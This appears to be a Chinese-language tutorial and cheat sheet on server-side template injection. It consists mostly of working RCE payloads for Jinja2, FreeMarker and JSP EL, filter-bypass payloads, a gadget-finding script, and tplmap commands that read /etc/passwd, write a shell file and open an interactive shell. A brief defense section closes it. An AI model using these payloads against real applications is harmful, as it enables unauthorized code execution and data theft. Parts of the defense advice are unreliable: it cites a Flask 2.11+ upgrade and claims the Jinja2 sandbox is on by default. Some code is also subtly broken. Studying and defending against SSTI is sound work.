一、什么是 SSTI

服务端模板注入(Server-Side Template Injection)是把用户输入直接拼接到模板源码里执行。和反序列化不同,SSTI 不依赖特定序列化机制——只要有模板引擎 + 字符串拼接就能触发。

危险 vs 安全写法

# Flask/Jinja2 危险写法
render_template_string("Hello " + request.args.get("name"))  # ← 拼接!
# 用户输入 {{7*7}} 会被模板引擎当作代码执行 → 49

# 安全写法
render_template_string("Hello {{ name }}", name=request.args.get("name"))
# 用户输入 {{7*7}} 只是纯文本

二、Jinja2(Python Flask/Django)

2.1 基础 Payload

Payload 作用
{{7*7}} 数学运算 → 49
{{7*'7'}} 字符串重复 → 7777777
{{config}} 泄露 Flask 配置
{{request}} 请求对象泄露

2.2 RCE 路径 1:从类型链找 subclasses

{{''.__class__.__mro__[1].__subclasses__()}}

输出所有 Python 子类,找 <class 'subprocess.Popen'><class 'os._wrap_close'>

{{''.__class__.__mro__[1].__subclasses__()[71]}}

假设索引 71 是 Popen(不同 Python 版本索引不同):

{{''.__class__.__mro__[1].__subclasses__()[71]('id',shell=True,stdout=-1).stdout.read()}}

2.3 自动遍历找 gadget

import re, requests

def find_subclasses(target):
    url = f"{target}/?q={{{{''.__class__.__mro__[1].__subclasses__()}}}}"
    r = requests.get(url)
    subs = re.findall(r"class '([^']+)'", r.text)
    for i, s in enumerate(subs):
        print(f"{i}: {s}")
    return subs

def find_popen(subs):
    for i, s in enumerate(subs):
        if 'subprocess' in s or 'os' in s or 'popen' in s.lower():
            print(f"[+] {i}: {s}")
    return i

2.4 RCE 路径 2:从 filter 找 builtins

{{cycler.__init__.__globals__.os.popen('id').read()}}
{{joiner.__init__.__globals__.__builtins__.__import__('os').popen('id').read()}}
{{namespace.__init__.__globals__.os.popen('id').read()}}
{{get_flashed_messages.__globals__.__builtins__.__import__('os').popen('id').read()}}
{{lipsum.__globals__.os.popen('id').read()}}
{{url_for.__globals__.__builtins__.__import__('os').popen('id').read()}}
{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}
{{''.__class__.__base__.__subclasses__()[182].__init__.__globals__['__builtins__']['__import__']('os').popen('id').read()}}

2.5 Flask debug PIN(信息泄露 → RCE)

如果 debug 模式开启,可以通过泄露的信息计算 PIN:

# 需要知道:用户名、modname、flask 版本、mac 地址、uuid 节点 id
# 然后用 Flask 源码里的算法计算 8 位 PIN

三、FreeMarker(Java Spring)

3.1 基础探测

<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}

3.2 ObjConstructor 链

<#assign obj="freemarker.template.utility.ObjectConstructor"?new()>
${obj("java.lang.Runtime").getRuntime().exec("id")}

3.3 绕过黑名单

<#assign classloader=application.getRealPath('/').getClass().forName('java.lang.ClassLoader')>
<#assign ex=classloader.getSystemClassLoader().loadClass('freemarker.template.utility.Execute').newInstance()>
${ex("id")}

3.4 利用 Application 作用域

${application} → StandardContext(Tomcat)
${application.getParent().getParent().getClass().forName('java.lang.Runtime').getRuntime().exec('id')}

四、EL 表达式(Java JSP)

4.1 基础 Payload

${7*7} → 49
${applicationScope}
${sessionScope}
${requestScope}
${param}
${header}
${headerValues}
${cookie}
${initParam}
${pageContext}

4.2 RCE Payload

${request.getClass().forName("java.lang.Runtime").getRuntime().exec("id")}
${T(java.lang.Runtime).getRuntime().exec("id")}
${""["class"].forName("java.lang.Runtime").getRuntime().exec("id")}
${applicationScope} → 遍历找 Runtime

4.3 Tomcat 特定

${application} → StandardContext
${application.getServer().getPort()} → 拿端口
${application.getParent().getParent().getClass().forName('java.lang.Runtime').getRuntime().exec('id')}

五、tplmap 自动化工具

5.1 安装

git clone https://github.com/epinna/tplmap && cd tplmap
pip install -r requirements.txt

5.2 使用

# 检测模板引擎
python tplmap.py -u "http://target/?q={*}"
python tplmap.py -u "http://target/?q={{7*7}}"
python tplmap.py -u "http://target/?q=<%= 7*7 %>"

# 命令执行
python tplmap.py -u "http://target/?q={{7*7}}" --os-cmd id

# 文件读写
python tplmap.py -u "http://target/?q={{7*7}}" --read-file /etc/passwd
python tplmap.py -u "http://target/?q={{7*7}}" --write-file /tmp/shell.py

# 交互式 shell
python tplmap.py -u "http://target/?q={{7*7}}" --interactive-shell

5.3 注意事项

tplmap 在探测阶段会执行大量计算和系统命令,如果目标在生产环境上不要盲目跑。建议先在测试环境验证。

六、各引擎语法对照表

引擎 变量访问 函数调用 方法调用 注释
Jinja2 {{ var }} {{ func() }} {{ obj.method() }} {# comment #}
FreeMarker ${var} ${func()} ${obj.method()} <#-- comment -->
EL ${var} 无直接函数 ${obj.method()}
Velocity $var #set $x=$func() $obj.method() # comment
Smarty {$var} {func()} {$obj.method()} {* comment *}

七、防御方案

Jinja2 / Flask

# 永远不要拼字符串(最重要!)
render_template_string("Hello " + name)  # ❌
render_template_string("Hello {{name}}", name=name)  # ✅

# 升级 Flask 到 2.11+
# Jinja2 sandbox 默认开启,cycler/joiner/url_for 在 sandbox 里安全

# 手动禁用全局 dangerous 方法
env = jinja2.Environment(...)
env.globals.pop('cycler', None)
env.globals.pop('joiner', None)

FreeMarker

cfg.setDefaultObjectWrapper(ObjectWrapper.BEANS_WRAPPER);
// 禁用 ?new()
cfg.setNewBuiltinClassResolver(TemplateClassResolver.SAFER_RESOLVER);

EL

严格限制表达式中能访问的类:

WebXmlParserContext.setELResolver(new ScopedAttributeELResolver() {
    // 只允许访问基本属性
});

八、总结

SSTI 和反序列化是两条独立的代码执行路径。反序列化攻击面在"数据还原"阶段,SSTI 攻击面在"模板渲染"阶段。识别方式都是看用户输入是否出现在模板引擎的执行上下文里。最可靠的防御是输入上下文隔离——永远用正确的参数传递方式,而不是字符串拼接。

九、SSTI 绕过技巧(Jinja2)

绕过引号限制

如果目标做了引号过滤:

# 不用引号取任意字符串
{{ lipsum.__globals__.__builtins__.__import__(request.args.a).popen(request.args.b).read() }}
# GET 请求: ?a=os&b=id

绕过下划线限制

# 用 attr() 绕过 __ 限制
{{ request['__class__'] }}
{{ request|attr(request.args.a) }}

绕过 [ 过滤

# 用 pop() 或 get() 替代 []
{{ config.items()|list }}
{{ namespace.__init__.__globals__.os.popen('id').read() }}

十、SSTI vs 反序列化的区别

对比 SSTI 反序列化
攻击面 模板渲染 数据还原
依赖 模板引擎 + 拼接 语言 + gadget 链
识别 用户输入在模板上下文 用户输入传给 unserialize/readObject
防御 参数传递 白名单反序列化
语言无关 是(任何模板引擎) 否(语言特定)

SSTI 更像是"模板注入"而不是"反序列化漏洞",但它和反序列化的核心思想相同:把不可信输入变成了可执行代码

十一、总结补充

SSTI 是和反序列化并列的独立代码执行路径。反序列化利用了"还原对象"这个正常操作来注入代码,SSTI 利用了"渲染模板"这个正常操作来注入代码。识别和防御模型都类似:永远不要把不可信输入拼接进可执行上下文